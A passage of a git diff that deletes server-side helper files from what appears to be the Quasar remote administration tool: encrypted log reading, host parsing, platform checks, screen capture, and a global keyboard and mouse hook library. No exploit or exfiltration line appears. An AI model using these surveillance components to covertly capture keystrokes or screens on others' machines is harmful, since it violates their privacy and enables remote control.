fStream.Write(data, 0, data.Length); - } - } - - /// - /// Reads a log file. - /// - /// The filename of the log. - public static string ReadLogFile(string filename) - { - return File.Exists(filename) ? Encoding.UTF8.GetString(AES.Decrypt(File.ReadAllBytes(filename))) : string.Empty; - } - } -} diff --git a/Server/Core/Helper/FormatHelper.cs b/Server/Core/Helper/FormatHelper.cs deleted file mode 100644 index c68bf6406..000000000 --- a/Server/Core/Helper/FormatHelper.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System.IO; -using System.Text.RegularExpressions; - -namespace xServer.Core.Helper -{ - public static class FormatHelper - { - public static string FormatMacAddress(string macAddress) - { - return (macAddress.Length != 12) - ? "00:00:00:00:00:00" - : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6"); - } - - public static string DriveTypeName(DriveType type) - { - switch (type) - { - case DriveType.Fixed: - return "Local Disk"; - case DriveType.Network: - return "Network Drive"; - case DriveType.Removable: - return "Removable Drive"; - default: - return type.ToString(); - } - } - - public static string GenerateMutex(int length = 18) - { - return "QSR_MUTEX_" + FileHelper.GetRandomFilename(length); - } - - public static bool IsValidVersionNumber(string input) - { - Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); - return match.Success; - } - } -} diff --git a/Server/Core/Helper/HostHelper.cs b/Server/Core/Helper/HostHelper.cs deleted file mode 100644 index e14582ea1..000000000 --- a/Server/Core/Helper/HostHelper.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System.Collections.Generic; -using System.ComponentModel; -using System.Linq; -using System.Text; -using xServer.Core.Data; -using xServer.Core.Utilities; - -namespace xServer.Core.Helper -{ - public static class HostHelper - { - public static List GetHostsList(string rawHosts) - { - List hostsList = new List(); - - if (string.IsNullOrEmpty(rawHosts)) return hostsList; - - var hosts = rawHosts.Split(';'); - - foreach (var hostPart in from host in hosts where (!string.IsNullOrEmpty(host) && host.Contains(':')) select host.Split(':')) - { - if (hostPart.Length != 2 || hostPart[0].Length < 1 || hostPart[1].Length < 1) continue; // invalid, ignore host - - ushort port; - if (!ushort.TryParse(hostPart[1], out port)) continue; // invalid, ignore host - - hostsList.Add(new Host { Hostname = hostPart[0], Port = port }); - } - - return hostsList; - } - - public static string GetRawHosts(List hosts) - { - StringBuilder rawHosts = new StringBuilder(); - - foreach (var host in hosts) - rawHosts.Append(host + ";"); - - return rawHosts.ToString(); - } - - public static string GetRawHosts(BindingList hosts) - { - StringBuilder rawHosts = new StringBuilder(); - - foreach (var host in hosts) - rawHosts.Append(host + ";"); - - return rawHosts.ToString(); - } - } -} diff --git a/Server/Core/Helper/PlatformHelper.cs b/Server/Core/Helper/PlatformHelper.cs deleted file mode 100644 index acc31df6c..000000000 --- a/Server/Core/Helper/PlatformHelper.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; - -namespace xServer.Core.Helper -{ - public static class PlatformHelper - { - /// - /// Initializes the class. - /// - static PlatformHelper() - { - Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT; - XpOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 5; - VistaOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 6; - SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1)); - EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200)); - EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3)); - TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0)); - RunningOnMono = Type.GetType("Mono.Runtime") != null; - } - - /// - /// Determines if the current application is 32 or 64-bit. - /// - public static int Architecture { get { return IntPtr.Size * 8; } } - - /// - /// Returns a indicating whether the application is running in Mono runtime. - /// - /// - /// true if the application is running in Mono runtime; otherwise, false. - /// - public static bool RunningOnMono { get; private set; } - - /// - /// Returns a indicating whether the Operating System is Windows 32 NT based. - /// - /// - /// true if the Operating System is Windows 32 NT based; otherwise, false. - /// - public static bool Win32NT { get; private set; } - - /// - /// Returns a value indicating whether the Operating System is Windows XP or higher. - /// - /// - /// true if the Operating System is Windows 8 or higher; otherwise, false. - /// - public static bool XpOrHigher { get; private set; } - - /// - /// Returns a value indicating whether the Operating System is Windows Vista or higher. - /// - /// - /// true if the Operating System is Windows Vista or higher; otherwise, false. - /// - public static bool VistaOrHigher { get; private set; } - - /// - /// Returns a value indicating whether the Operating System is Windows 7 or higher. - /// - /// - /// true if the Operating System is Windows 7 or higher; otherwise, false. - /// - public static bool SevenOrHigher { get; private set; } - - /// - /// Returns a value indicating whether the Operating System is Windows 8 or higher. - /// - /// - /// true if the Operating System is Windows 8 or higher; otherwise, false. - /// - public static bool EightOrHigher { get; private set; } - - /// - /// Returns a value indicating whether the Operating System is Windows 8.1 or higher. - /// - /// - /// true if the Operating System is Windows 8.1 or higher; otherwise, false. - /// - public static bool EightPointOneOrHigher { get; private set; } - - /// - /// Returns a value indicating whether the Operating System is Windows 10 or higher. - /// - /// - /// true if the Operating System is Windows 10 or higher; otherwise, false. - /// - public static bool TenOrHigher { get; private set; } - } -} diff --git a/Server/Core/Helper/RemoteDesktopHelper.cs b/Server/Core/Helper/RemoteDesktopHelper.cs deleted file mode 100644 index 38c8df1fa..000000000 --- a/Server/Core/Helper/RemoteDesktopHelper.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; -using System.Windows.Forms; - -namespace xServer.Core.Helper -{ - public static class RemoteDesktopHelper - { - public static Bitmap GetDesktop(int screenNumber) - { - var bounds = Screen.AllScreens[screenNumber].Bounds; - var screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb); - using (Graphics graph = Graphics.FromImage(screenshot)) - { - graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy); - return screenshot; - } - } - } -} diff --git a/Server/Core/MouseKeyHook/Hook.cs b/Server/Core/MouseKeyHook/Hook.cs deleted file mode 100644 index 99a508392..000000000 --- a/Server/Core/MouseKeyHook/Hook.cs +++ /dev/null @@ -1,38 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using xServer.Core.MouseKeyHook.Implementation; - -namespace xServer.Core.MouseKeyHook -{ - /// - /// This is the class to start with. - /// - public static class Hook - { - /// - /// Here you find all application wide events. Both mouse and keyboard. - /// - /// - /// Returned instance is used for event subscriptions. - /// You can refetch it (you will get the same instance anyway). - /// - public static IKeyboardMouseEvents AppEvents() - { - return new AppEventFacade(); - } - - /// - /// Here you find all application wide events. Both mouse and keyboard. - /// - /// - /// Returned instance is used for event subscriptions. - /// You can refetch it (you will get the same instance anyway). - /// - public static IKeyboardMouseEvents GlobalEvents() - { - return new GlobalEventFacade(); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/HotKeys/HotKeyArgs.cs b/Server/Core/MouseKeyHook/HotKeys/HotKeyArgs.cs deleted file mode 100644 index 9ba5118f6..000000000 --- a/Server/Core/MouseKeyHook/HotKeys/HotKeyArgs.cs +++ /dev/null @@ -1,33 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xServer.Core.MouseKeyHook.HotKeys -{ - /// - /// The event arguments passed when a HotKeySet's OnHotKeysDownHold event is triggered. - /// - public sealed class HotKeyArgs : EventArgs - { - private readonly DateTime m_TimeOfExecution; - - /// - /// Creates an instance of the HotKeyArgs. - /// Time when the event was triggered - /// - public HotKeyArgs(DateTime triggeredAt) - { - m_TimeOfExecution = triggeredAt; - } - - /// - /// Time when the event was triggered - /// - public DateTime Time - { - get { return m_TimeOfExecution; } - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/HotKeys/HotKeySet.cs b/Server/Core/MouseKeyHook/HotKeys/HotKeySet.cs deleted file mode 100644 index 9075b928c..000000000 --- a/Server/Core/MouseKeyHook/HotKeys/HotKeySet.cs +++ /dev/null @@ -1,287 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Collections.Generic; -using System.Windows.Forms; -using xServer.Core.MouseKeyHook.Implementation; - -namespace xServer.Core.MouseKeyHook.HotKeys -{ - /// - /// An immutable set of Hot Keys that provides an event for when the set is activated. - /// - public class HotKeySet - { - /// - /// A delegate representing the signature for the OnHotKeysDownHold event - /// - /// - /// - public delegate void HotKeyHandler(object sender, HotKeyArgs e); - - private readonly IEnumerable m_hotkeys; //hotkeys provided by the user. - private readonly Dictionary m_hotkeystate; //Keeps track of the status of the set of Keys - /* - * Example of m_remapping: - * a single key from the set of Keys requested is chosen to be the reference key (aka primary key) - * - * m_remapping[ Keys.LShiftKey ] = Keys.LShiftKey - * m_remapping[ Keys.RShiftKey ] = Keys.LShiftKey - * - * This allows the m_hotkeystate to use a single key (primary key) from the set that will act on behalf of all the keys in the set, - * which in turn reduces to this: - * - * Keys k = Keys.RShiftKey - * Keys primaryKey = PrimaryKeyOf( k ) = Keys.LShiftKey - * m_hotkeystate[ primaryKey ] = true/false - */ - private readonly Dictionary m_remapping; //Used for mapping multiple keys to a single key - private bool m_enabled = true; //enabled by default - //These provide the actual status of whether a set is truly activated or not. - private int m_hotkeydowncount; //number of hot keys down - private int m_remappingCount; - //the number of remappings, i.e., a set of mappings, not the individual count in m_remapping - - /// - /// Creates an instance of the HotKeySet class. Once created, the keys cannot be changed. - /// - /// Set of Hot Keys - public HotKeySet(IEnumerable hotkeys) - { - m_hotkeystate = new Dictionary(); - m_remapping = new Dictionary(); - m_hotkeys = hotkeys; - InitializeKeys(); - } - - /// - /// Enables the ability to name the set - /// - public string Name { get; set; } - - /// - /// Enables the ability to describe what the set is used for or supposed to do - /// - public string Description { get; set; } - - /// - /// Gets the set of hotkeys that this class handles. - /// - public IEnumerable HotKeys - { - get { return m_hotkeys; } - } - - /// - /// Returns whether the set of Keys is activated - /// - public bool HotKeysActivated - { - //The number of sets of remapped keys is used to offset the amount originally specified by the user. - get { return m_hotkeydowncount == (m_hotkeystate.Count - m_remappingCount); } - } - - /// - /// Gets or sets the enabled state of the HotKey set. - /// - public bool Enabled - { - get { return m_enabled; } - set - { - if (value) - InitializeKeys(); //must get the actual current state of each key to update - - m_enabled = value; - } - } - - /// - /// Called as the user holds down the keys in the set. It is NOT triggered the first time the keys are set. - /// - /// - public event HotKeyHandler OnHotKeysDownHold; - - /// - /// Called whenever the hot key set is no longer active. This is essentially a KeyPress event, indicating that a full - /// key cycle has occurred, only for HotKeys because a single key removed from the set constitutes an incomplete set. - /// - public event HotKeyHandler OnHotKeysUp; - - /// - /// Called the first time the down keys are set. It does not get called throughout the duration the user holds it but - /// only the - /// first time it's activated. - /// - public event HotKeyHandler OnHotKeysDownOnce; - - /// - /// General invocation handler - /// - /// - private void InvokeHotKeyHandler(HotKeyHandler hotKeyDelegate) - { - if (hotKeyDelegate != null) - hotKeyDelegate(this, new HotKeyArgs(DateTime.Now)); - } - - /// - /// Adds the keys into the dictionary tracking the keys and gets the real-time status of the Keys - /// from the OS - /// - private void InitializeKeys() - { - foreach (Keys k in HotKeys) - { - if (m_hotkeystate.ContainsKey(k)) - m_hotkeystate.Add(k, false); - - //assign using the current state of the keyboard - m_hotkeystate[k] = KeyboardState.GetCurrent().IsDown(k); - } - } - - /// - /// Unregisters a previously set exclusive or based on the primary key. - /// - /// Any key used in the Registration method used to create an exclusive or set - /// - /// True if successful. False doesn't indicate a failure to unregister, it indicates that the Key is not - /// registered as an Exclusive Or key or it's not the Primary Key. - /// - public bool UnregisterExclusiveOrKey(Keys anyKeyInTheExclusiveOrSet) - { - Keys primaryKey = GetExclusiveOrPrimaryKey(anyKeyInTheExclusiveOrSet); - - if (primaryKey == Keys.None || !m_remapping.ContainsValue(primaryKey)) - return false; - - List keystoremove = new List(); - - foreach (KeyValuePair pair in m_remapping) - { - if (pair.Value == primaryKey) - keystoremove.Add(pair.Key); - } - - foreach (Keys k in keystoremove) - m_remapping.Remove(k); - - --m_remappingCount; - - return true; - } - - /// - /// Registers a group of Keys that are already part of the HotKeySet in order to provide better flexibility among keys. - /// - /// - /// HotKeySet hks = new HotKeySet( new [] { Keys.T, Keys.LShiftKey, Keys.RShiftKey } ); - /// RegisterExclusiveOrKey( new [] { Keys.LShiftKey, Keys.RShiftKey } ); - /// - /// allows either Keys.LShiftKey or Keys.RShiftKey to be combined with Keys.T. - /// - /// - /// - /// Primary key used for mapping or Keys.None on error - public Keys RegisterExclusiveOrKey(IEnumerable orKeySet) - { - //Verification first, so as to not leave the m_remapping with a partial set. - foreach (Keys k in orKeySet) - { - if (!m_hotkeystate.ContainsKey(k)) - return Keys.None; - } - - int i = 0; - Keys primaryKey = Keys.None; - - //Commit after verification - foreach (Keys k in orKeySet) - { - if (i == 0) - primaryKey = k; - - m_remapping[k] = primaryKey; - - ++i; - } - - //Must increase to keep a true count of how many keys are necessary for the activation to be true - ++m_remappingCount; - - return primaryKey; - } - - /// - /// Gets the primary key - /// - /// - /// The primary key if it exists, otherwise Keys.None - private Keys GetExclusiveOrPrimaryKey(Keys k) - { - return (m_remapping.ContainsKey(k) ? m_remapping[k] : Keys.None); - } - - /// - /// Resolves obtaining the key used for state checking. - /// - /// - /// The primary key if it exists, otherwise the key entered - private Keys GetPrimaryKey(Keys k) - { - //If the key is remapped then get the primary keys - return (m_remapping.ContainsKey(k) ? m_remapping[k] : k); - } - - /// - /// - /// - internal void OnKey(KeyEventArgsExt kex) - { - if (!Enabled) - return; - - //Gets the primary key if mapped to a single key or gets the key itself - Keys primaryKey = GetPrimaryKey(kex.KeyCode); - - if (kex.IsKeyDown) - OnKeyDown(primaryKey); - else //reset - OnKeyUp(primaryKey); - } - - private void OnKeyDown(Keys k) - { - //If the keys are activated still then keep invoking the event - if (HotKeysActivated) - InvokeHotKeyHandler(OnHotKeysDownHold); //Call the duration event - - //indicates the key's state is current false but the key is now down - else if (m_hotkeystate.ContainsKey(k) && !m_hotkeystate[k]) - { - m_hotkeystate[k] = true; //key's state is down - ++m_hotkeydowncount; //increase the number of keys down in this set - - if (HotKeysActivated) //because of the increase, check whether the set is activated - InvokeHotKeyHandler(OnHotKeysDownOnce); //Call the initial event - } - } - - private void OnKeyUp(Keys k) - { - if (m_hotkeystate.ContainsKey(k) && m_hotkeystate[k]) //indicates the key's state was down but now it's up - { - bool wasActive = HotKeysActivated; - - m_hotkeystate[k] = false; //key's state is up - --m_hotkeydowncount; //this set is no longer ready - - if (wasActive) - InvokeHotKeyHandler(OnHotKeysUp); //call the KeyUp event because the set is no longer active - } - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/HotKeys/HotKeySetCollection.cs b/Server/Core/MouseKeyHook/HotKeys/HotKeySetCollection.cs deleted file mode 100644 index 686cd917a..000000000 --- a/Server/Core/MouseKeyHook/HotKeys/HotKeySetCollection.cs +++ /dev/null @@ -1,48 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Collections.Generic; - -namespace xServer.Core.MouseKeyHook.HotKeys -{ - /// - /// A collection of HotKeySets - /// - public sealed class HotKeySetCollection : List - { - private KeyChainHandler m_keyChain; - - /// - /// Adds a HotKeySet to the collection. - /// - /// - public new void Add(HotKeySet hks) - { - m_keyChain += hks.OnKey; - base.Add(hks); - } - - /// - /// Removes the HotKeySet from the collection. - /// - /// - public new void Remove(HotKeySet hks) - { - m_keyChain -= hks.OnKey; - base.Remove(hks); - } - - /// - /// Uses a multi-case delegate to invoke individual HotKeySets if the Key is in use by any HotKeySets. - /// - /// - internal void OnKey(KeyEventArgsExt e) - { - if (m_keyChain != null) - m_keyChain(e); - } - - private delegate void KeyChainHandler(KeyEventArgsExt kex); - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/HotKeys/HotKeySetsListener.cs b/Server/Core/MouseKeyHook/HotKeys/HotKeySetsListener.cs deleted file mode 100644 index 380a90b47..000000000 --- a/Server/Core/MouseKeyHook/HotKeys/HotKeySetsListener.cs +++ /dev/null @@ -1,4 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - diff --git a/Server/Core/MouseKeyHook/HotKeys/ReadMe.txt b/Server/Core/MouseKeyHook/HotKeys/ReadMe.txt deleted file mode 100644 index 12a3f832b..000000000 --- a/Server/Core/MouseKeyHook/HotKeys/ReadMe.txt +++ /dev/null @@ -1,85 +0,0 @@ -Until a separate, full-featured test version is ready, here's a quick update that can be made to the TestFormHookListeners: - - //HotKeySetsListener inherits KeyboardHookListener - private readonly HotKeySetsListener m_KeyboardHookManager; - private readonly MouseHookListener m_MouseHookManager; - - public TestFormHookListeners() - { - InitializeComponent(); - //m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); - //m_KeyboardHookManager.Enabled = true; - - m_MouseHookManager = new MouseHookListener( new GlobalHooker() ) { Enabled = true }; - - HotKeySetCollection hkscoll = new HotKeySetCollection(); - m_KeyboardHookManager = new HotKeySetsListener( hkscoll, new GlobalHooker() ) { Enabled = true }; - - BuildHotKeyTests( hkscoll ); - } - - private void BuildHotKeyTests( HotKeySetCollection hkscoll ) - { - //Hot Keys are enabled by default. Use the Enabled property to adjust. - hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LShiftKey }, null, OnHotKeyDownOnce1, OnHotKeyDownHold1, OnHotKeyUp1, "test1" ) ); - hkscoll.Add( BindHotKeySet( new[] { Keys.T, Keys.LControlKey, Keys.RControlKey }, new[] { Keys.LControlKey, Keys.RControlKey }, OnHotKeyDownGeneral2, OnHotKeyDownGeneral2, OnHotKeyUp1, "test2" ) ); - } - - private static HotKeySet BindHotKeySet( IEnumerable ks, - IEnumerable xorKeys, - HotKeySet.HotKeyHandler onEventDownOnce, - HotKeySet.HotKeyHandler onEventDownHold, - HotKeySet.HotKeyHandler onEventUp, - string name ) - { - - //Declare ALL Keys that will be available in this set, including any keys you want to register as an either/or subset - HotKeySet hks = new HotKeySet( ks ); - - //Indicates that the keys in this array will be treated as an OR rather than AND: LShiftKey or RShiftKey - //The keys MUST be a subset of the ks Keys array. - if ( hks.RegisterExclusiveOrKey( xorKeys ) == Keys.None ) //Keys.None indicates an error - { - MessageBox.Show( null, @"Unable to register subset: " + String.Join( ", ", xorKeys ), - @"Subset registration error", MessageBoxButtons.OK, MessageBoxIcon.Error ); - } - - hks.OnHotKeysDownOnce += onEventDownOnce; //The first time the key is down - hks.OnHotKeysDownHold += onEventDownHold; //Fired as long as the user holds the hot keys down but is not fired the first time. - hks.OnHotKeysUp += onEventUp; //Whenever a key from the set is no longer being held down - - hks.Name = ( name ?? String.Empty ); - - return hks; - - } - - private void GeneralHotKeyEvent( object sender, DateTime timeTriggered, string eventType ) - { - HotKeySet hks = sender as HotKeySet; - string kstring = String.Join( ", ", hks.HotKeys ); - Log( String.Format( "{0}: {2} {1} - {3}\r\n", timeTriggered.TimeOfDay, eventType, hks.Name, kstring ) ); - } - - private void OnHotKeyDownGeneral2( object sender, HotKeyArgs e ) - { - GeneralHotKeyEvent( sender, e.Time, "ONCE/HOLD" ); - } - - private void OnHotKeyDownOnce1( object sender, HotKeyArgs e ) - { - GeneralHotKeyEvent( sender, e.Time, "ONCE" ); - } - - private void OnHotKeyDownHold1( object sender, HotKeyArgs e ) - { - GeneralHotKeyEvent( sender, e.Time, "HOLD" ); - } - - private void OnHotKeyUp1( object sender, HotKeyArgs e ) - { - GeneralHotKeyEvent( sender, e.Time, "UP" ); - } - - - diff --git a/Server/Core/MouseKeyHook/IKeyboardEvents.cs b/Server/Core/MouseKeyHook/IKeyboardEvents.cs deleted file mode 100644 index 2892348d9..000000000 --- a/Server/Core/MouseKeyHook/IKeyboardEvents.cs +++ /dev/null @@ -1,43 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Windows.Forms; - -namespace xServer.Core.MouseKeyHook -{ - /// - /// Provides keyboard events - /// - public interface IKeyboardEvents - { - /// - /// Occurs when a key is pressed. - /// - event KeyEventHandler KeyDown; - - /// - /// Occurs when a key is pressed. - /// - /// - /// Key events occur in the following order: - /// - /// KeyDown - /// KeyPress - /// KeyUp - /// - /// The KeyPress event is not raised by non-character keys; however, the non-character keys do raise the KeyDown and - /// KeyUp events. - /// Use the KeyChar property to sample keystrokes at run time and to consume or modify a subset of common keystrokes. - /// To handle keyboard events only in your application and not enable other applications to receive keyboard events, - /// set the property in your form's KeyPress event-handling method to - /// true. - /// - event KeyPressEventHandler KeyPress; - - /// - /// Occurs when a key is released. - /// - event KeyEventHandler KeyUp; - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/IKeyboardMouseEvents.cs b/Server/Core/MouseKeyHook/IKeyboardMouseEvents.cs deleted file mode 100644 index 1ddb370cc..000000000 --- a/Server/Core/MouseKeyHook/IKeyboardMouseEvents.cs +++ /dev/null @@ -1,15 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; - -namespace xServer.Core.MouseKeyHook -{ - /// - /// Provides keyboard and mouse events. - /// - public interface IKeyboardMouseEvents : IKeyboardEvents, IMouseEvents, IDisposable - { - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/IMouseEvents.cs b/Server/Core/MouseKeyHook/IMouseEvents.cs deleted file mode 100644 index 7961263a9..000000000 --- a/Server/Core/MouseKeyHook/IMouseEvents.cs +++ /dev/null @@ -1,73 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Windows.Forms; - -namespace xServer.Core.MouseKeyHook -{ - /// - /// Provides all mouse events. - /// - public interface IMouseEvents - { - /// - /// Occurs when the mouse pointer is moved. - /// - event MouseEventHandler MouseMove; - - /// - /// Occurs when the mouse pointer is moved. - /// - /// - /// This event provides extended arguments of type enabling you to - /// suppress further processing of mouse movement in other applications. - /// - event EventHandler MouseMoveExt; - - /// - /// Occurs when a click was performed by the mouse. - /// - event MouseEventHandler MouseClick; - - /// - /// Occurs when the mouse a mouse button is pressed. - /// - event MouseEventHandler MouseDown; - - /// - /// Occurs when the mouse a mouse button is pressed. - /// - /// - /// This event provides extended arguments of type enabling you to - /// suppress further processing of mouse click in other applications. - /// - event EventHandler MouseDownExt; - - /// - /// Occurs when a mouse button is released. - /// - event MouseEventHandler MouseUp; - - /// - /// Occurs when a mouse button is released. - /// - /// - /// This event provides extended arguments of type enabling you to - /// suppress further processing of mouse click in other applications. - /// - event EventHandler MouseUpExt; - - - /// - /// Occurs when the mouse wheel moves. - /// - event MouseEventHandler MouseWheel; - - /// - /// Occurs when a mouse button is double-clicked. - /// - event MouseEventHandler MouseDoubleClick; - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/AppEventFacade.cs b/Server/Core/MouseKeyHook/Implementation/AppEventFacade.cs deleted file mode 100644 index fab91c042..000000000 --- a/Server/Core/MouseKeyHook/Implementation/AppEventFacade.cs +++ /dev/null @@ -1,19 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal class AppEventFacade : EventFacade - { - protected override MouseListener CreateMouseListener() - { - return new AppMouseListener(); - } - - protected override KeyListener CreateKeyListener() - { - return new AppKeyListener(); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/AppKeyListener.cs b/Server/Core/MouseKeyHook/Implementation/AppKeyListener.cs deleted file mode 100644 index 19a1809dd..000000000 --- a/Server/Core/MouseKeyHook/Implementation/AppKeyListener.cs +++ /dev/null @@ -1,27 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Collections.Generic; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal class AppKeyListener : KeyListener - { - public AppKeyListener() - : base(HookHelper.HookAppKeyboard) - { - } - - protected override IEnumerable GetPressEventArgs(CallbackData data) - { - return KeyPressEventArgsExt.FromRawDataApp(data); - } - - protected override KeyEventArgsExt GetDownUpEventArgs(CallbackData data) - { - return KeyEventArgsExt.FromRawDataApp(data); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/AppMouseListener.cs b/Server/Core/MouseKeyHook/Implementation/AppMouseListener.cs deleted file mode 100644 index dcdc74404..000000000 --- a/Server/Core/MouseKeyHook/Implementation/AppMouseListener.cs +++ /dev/null @@ -1,21 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal class AppMouseListener : MouseListener - { - public AppMouseListener() - : base(HookHelper.HookAppMouse) - { - } - - protected override MouseEventExtArgs GetEventArgs(CallbackData data) - { - return MouseEventExtArgs.FromRawDataApp(data); - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/BaseListener.cs b/Server/Core/MouseKeyHook/Implementation/BaseListener.cs deleted file mode 100644 index 1881966e7..000000000 --- a/Server/Core/MouseKeyHook/Implementation/BaseListener.cs +++ /dev/null @@ -1,26 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal abstract class BaseListener : IDisposable - { - protected BaseListener(Subscribe subscribe) - { - Handle = subscribe(Callback); - } - - protected HookResult Handle { get; set; } - - public void Dispose() - { - Handle.Dispose(); - } - - protected abstract bool Callback(CallbackData data); - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/ButtonSet.cs b/Server/Core/MouseKeyHook/Implementation/ButtonSet.cs deleted file mode 100644 index 9d209c98b..000000000 --- a/Server/Core/MouseKeyHook/Implementation/ButtonSet.cs +++ /dev/null @@ -1,33 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System.Windows.Forms; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal class ButtonSet - { - private MouseButtons m_Set; - - public ButtonSet() - { - m_Set = MouseButtons.None; - } - - public void Add(MouseButtons element) - { - m_Set |= element; - } - - public void Remove(MouseButtons element) - { - m_Set &= ~element; - } - - public bool Contains(MouseButtons element) - { - return (m_Set & element) != MouseButtons.None; - } - } -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/Callback.cs b/Server/Core/MouseKeyHook/Implementation/Callback.cs deleted file mode 100644 index e69ecc5ad..000000000 --- a/Server/Core/MouseKeyHook/Implementation/Callback.cs +++ /dev/null @@ -1,10 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using xServer.Core.MouseKeyHook.WinApi; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal delegate bool Callback(CallbackData data); -} \ No newline at end of file diff --git a/Server/Core/MouseKeyHook/Implementation/EventFacade.cs b/Server/Core/MouseKeyHook/Implementation/EventFacade.cs deleted file mode 100644 index b273c3d3c..000000000 --- a/Server/Core/MouseKeyHook/Implementation/EventFacade.cs +++ /dev/null @@ -1,114 +0,0 @@ -// This code is distributed under MIT license. -// Copyright (c) 2015 George Mamaladze -// See license.txt or http://opensource.org/licenses/mit-license.php - -using System; -using System.Windows.Forms; - -namespace xServer.Core.MouseKeyHook.Implementation -{ - internal abstract class EventFacade : IKeyboardMouseEvents - { - private KeyListener m_KeyListenerCache; - private MouseListener m_MouseListenerCache; - - public event KeyEventHandler KeyDown - { - add { GetKeyListener().KeyDown += value; } - remove { GetKeyListener().KeyDown -= value; } - } - - public event KeyPressEventHandler KeyPress - { - add { GetKeyListener().KeyPress += value; } - remove { GetKeyListener().KeyPress -= value; } - } - - public event KeyEventHandler KeyUp - { - add { GetKeyListener().KeyUp += value; } - remove { GetKeyListener().KeyUp -= value; } - } - - public event MouseEventHandler MouseMove - { - add { GetMouseListener().MouseMove += value; } - remove { GetMouseListener().MouseMove -= value; } - } - - public event EventHandler MouseMoveExt - { - add { GetMouseListener().MouseMoveExt += value; } - remove { GetMouseListener().MouseMoveExt -= value; } - } - - public event MouseEventHandler MouseClick - { - add { GetMouseListener().MouseClick += value; } - remove { GetMouseListener().MouseClick -= value; } - } - - public event MouseEventHandler MouseDown - { - add { GetMouseListener().MouseDown += value; } - remove { GetMouseListener().MouseDown -= value; } - } - - public event EventHandler MouseDownExt - { - add { GetMouseListener().MouseDownExt += value; } - remove { GetMouseListener().MouseDownExt -= value; } - } - - public event MouseEventHandler MouseUp - { - add { GetMouseListener().MouseUp += value; } - remove { GetMouseListener().MouseUp -= value; } - } - - public event EventHandler MouseUpExt - { - add { GetMouseListener().MouseUpExt += value; } - remove { GetMouseListener().MouseUpExt -= value; } - } - - public event MouseEventHandler MouseWheel - { - add { GetMouseListener().MouseWheel += value; } - remove { GetMouseListener().MouseWheel -= value; } - } - - public event MouseEventHandler MouseDoubleClick - { 